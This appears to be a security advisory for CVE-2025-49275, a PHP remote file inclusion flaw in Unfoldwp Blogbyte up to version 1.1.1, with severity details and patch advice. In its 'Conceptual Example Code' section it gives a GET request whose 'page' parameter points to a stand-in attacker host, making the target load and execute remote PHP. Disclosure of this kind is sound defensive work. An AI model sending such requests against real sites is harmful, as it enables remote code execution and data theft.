Overview
Unfoldwp’s Blogbyte, a popular PHP application, has been found to contain a significant security vulnerability identified as CVE-2025-49275. This particular issue is due to an improper control of filename for include/require statement in PHP programming, more commonly known as ‘PHP Remote File Inclusion’. The severity of this vulnerability is high as it could potentially lead to a system compromise or data leakage. It is crucial for users and administrators of Blogbyte versions up to and including 1.1.1 to understand the implications of this vulnerability and take immediate steps to mitigate its risk.
Vulnerability Summary
CVE ID: CVE-2025-49275
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Unfoldwp Blogbyte | up to and including 1.1.1
How the Exploit Works
The vulnerability stems from the improper control of filenames for include/require statements in PHP programs. This allows an attacker to manipulate the file that is included at runtime. By manipulating the filename, an attacker can cause the application to include a file from a remote server which can contain malicious PHP code. This code is then executed in the context of the application, allowing the attacker to compromise the system or leak data.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This example is a simple HTTP request where the attacker has manipulated the ‘page’ parameter to include a malicious PHP file from a remote server.
GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the PHP application would include and execute the malicious_file.php from the malicious.example.com server, potentially leading to a system compromise or data leakage.
Mitigation
For users and administrators of Unfoldwp Blogbyte, immediate steps should be taken to mitigate this vulnerability. The preferred mitigation method is to apply the vendor-supplied patch for this issue. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures only serve as a temporary fix and may not completely eliminate the risk. Therefore, it is strongly recommended to apply the vendor patch as soon as feasible.